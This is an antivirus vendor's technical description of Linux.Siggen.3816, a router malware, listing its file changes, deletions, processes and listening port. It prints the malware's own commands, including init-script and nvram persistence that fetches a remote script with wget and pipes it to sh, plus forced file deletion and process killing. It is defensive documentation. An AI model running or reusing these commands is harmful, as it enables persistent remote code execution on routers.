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Linux.Siggen.3816

Added to the Dr.Web virus database: 2021-03-26

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/init.d/rcS.bak
  • /etc/init.d/rcS
Malicious functions:
Launches itself as a daemon
Modifies router settings:
  • /bin/nvram
Launches processes:
  • sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
  • cat /etc/init.d/rcS
  • grep -v wget
  • sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
  • sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
  • cat /etc/init.d/rcS.bak
  • sh -c rm -rf /etc/init.d/rcS.bak
  • rm -rf /etc/init.d/rcS.bak
  • sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
  • sh -c nvram commit > /dev/null 2>&1
  • sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
  • sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
  • rm -rf /var/run/wgsh
  • sh -c rm -rf /var/run/tty1 > /dev/null 2>&1 &
  • rm -rf /var/run/bbsh
  • sh -c rm -rf /var/run/tty2 > /dev/null 2>&1 &
  • rm -rf /var/run/tty1
  • sh -c rm -rf /var/run/tty3 > /dev/null 2>&1 &
  • rm -rf /var/run/tty2
  • sh -c rm -rf /var/run/tty4 > /dev/null 2>&1 &
  • rm -rf /var/run/tty3
  • sh -c rm -rf /var/run/tty5 > /dev/null 2>&1 &
  • rm -rf /var/run/tty4
  • sh -c rm -rf /var/run/tty6 > /dev/null 2>&1 &
  • rm -rf /var/run/tty5
  • sh -c rm -rf /tmp/tty1 > /dev/null 2>&1 &
  • rm -rf /var/run/tty6
  • sh -c rm -rf /tmp/tty2 > /dev/null 2>&1 &
  • rm -rf /tmp/tty1
  • sh -c rm -rf /tmp/tty3 > /dev/null 2>&1 &
  • rm -rf /tmp/tty2
  • sh -c rm -rf /tmp/tty4 > /dev/null 2>&1 &
  • rm -rf /tmp/tty3
  • sh -c rm -rf /tmp/tty5 > /dev/null 2>&1 &
  • rm -rf /tmp/tty4
  • sh -c rm -rf /tmp/tty6 > /dev/null 2>&1 &
  • rm -rf /tmp/tty5
  • sh -c rm -rf /var/run/pty > /dev/null 2>&1 &
  • rm -rf /tmp/tty6
  • sh -c killall -9 arm > /dev/null 2>&1 &
  • rm -rf /var/run/pty
Performs operations with the file system:
Deletes files:
  • /etc/init.d/rcS.bak
  • /var/run/wgsh
  • /var/run/bbsh
  • /var/run/tty1
  • /var/run/tty2
  • /var/run/tty3
  • /var/run/tty4
  • /var/run/tty5
  • /var/run/tty6
  • /tmp/tty1
  • /tmp/tty2
  • /tmp/tty3
  • /tmp/tty4
  • /tmp/tty5
  • /tmp/tty6
  • /var/run/pty
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:63008
Other:
Collects OS information

Curing recommendations


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